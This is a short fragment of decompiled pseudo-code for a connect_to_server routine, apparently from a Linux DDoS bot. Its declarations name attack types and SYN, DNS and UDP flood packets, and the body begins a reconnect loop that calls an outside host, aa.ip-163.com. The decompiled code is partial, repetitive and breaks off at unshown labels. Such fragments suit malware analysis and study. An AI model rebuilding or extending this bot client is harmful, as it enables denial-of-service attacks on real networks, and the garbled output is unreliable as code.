connect_to_server()
{// addr = 0x0804E349
    fd_set rsetfds;
    struct timeval tv;
    struct hostent* szhost;
    struct sockaddr_in sockSevaddr;
    long unsigned int ul;
    pthread_t tRecvID;
    LOGINPACK LoginPack;
    int ret;
    int numsend;
    int opt;
    int keep_alive;
    int keep_idle;
    int keep_interval;
    int keep_count;
    double szCPUMhz;
    int nOnline;
    int __d0;
    int __d1;
    char __result;
    int iDataNum;
    int tuzi_i;
    int nAttackType;
    int nSyn;
    SYNPACKET lpSynPacket;
    int nSyn;
    SYNPACKET lpSynPacket;
    int nSyn;
    SYNPACKET lpSynPacket;
    int nSyn;
    SYNPACKET lpSynPacket;
    int nDns;
    DNSPACKET lpDnsPacket;
    int nUdp;
    UDPPACKET lpUdpPacket;
    DNSPACKET lpDnsPacket;
    int flag;
    int nDns;
    MOREDNSPACKET lpDnsPacket;
    int nDns;
    SYNPACKET_NUM lpSynPacket;
    int nDns;
    SYNPACKET_NUM lpSynPacket;
    _unknown_ _v56;
    _unknown_ _v60;
    _unknown_ _v64;
    _unknown_ _v68;
    _unknown_ _v72;
    _unknown_ _v88;
    _unknown_ _v92;
    intOrPtr _v96;
    int _v100;
    _unknown_ _v228;
    int _v232;
    intOrPtr _v236;
    _unknown_ _v248;
    _unknown_ _v250;
    _unknown_ _v252;
    _unknown_ _v256;
    _unknown_ _v260;
    _unknown_ _v264;
    _unknown_ _v268;
    _unknown_ _v272;
    _unknown_ _v276;
    _unknown_ _v280;
    char _v412;
    _unknown_ _v1824;
    _unknown_ _v1836;
    _unknown_ _v1840;
    _unknown_ _v1844;
    _unknown_ _v1848;
    char* _t130;
    _unknown_ _t132;
    _unknown_ _t134;
    int _t136;
    _unknown_ _t138;
    _unknown_ _t144;
    _unknown_ _t147;
    _unknown_ _t155;
    _unknown_ _t158;
    _unknown_ _t163;
    _unknown_ _t165;
    _unknown_ _t166;
    _unknown_ _t169;
    _unknown_ _t170;
    _unknown_ _t174;
    _unknown_ _t178;
    _unknown_ _t181;
    _unknown_ _t183;
    _unknown_ _t185;
    _unknown_ _t193;
    _unknown_ _t197;
    _unknown_ _t201;
    _unknown_ _t203;
    _unknown_ _t205;
    _unknown_ _t207;
    _unknown_ _t209;
    _unknown_ _t211;
    _unknown_ _t212;
    _unknown_ _t213;
    _unknown_ _t214;
    _unknown_ _t215;
    _unknown_ _t225;
    _unknown_ _t228;
    _unknown_ _t229;
    _unknown_ _t231;

    _v236 = 3;
    _v232 = 0;
    L0806CA00(_t230, __esi, 50);
    on_line_ip = _t130;
    while(1) {
        L08061340(__ebx, _t230, __esi, "===== start =====");
        _v100 = 0;
        _v96 = 1;
        L0806F850(__ebx, _t230, __esi,  &_v412, 0, 132);
        L0806F850(__ebx, _t230, __esi, on_line_ip, 0, 50);
        hCSockft = 0;
        _t136 = get_online_ip("aa.ip-163.com", on_line_ip);
        if(_t136 == 0) {
            goto L5;
        } else {
            goto L2;
        }
    }
}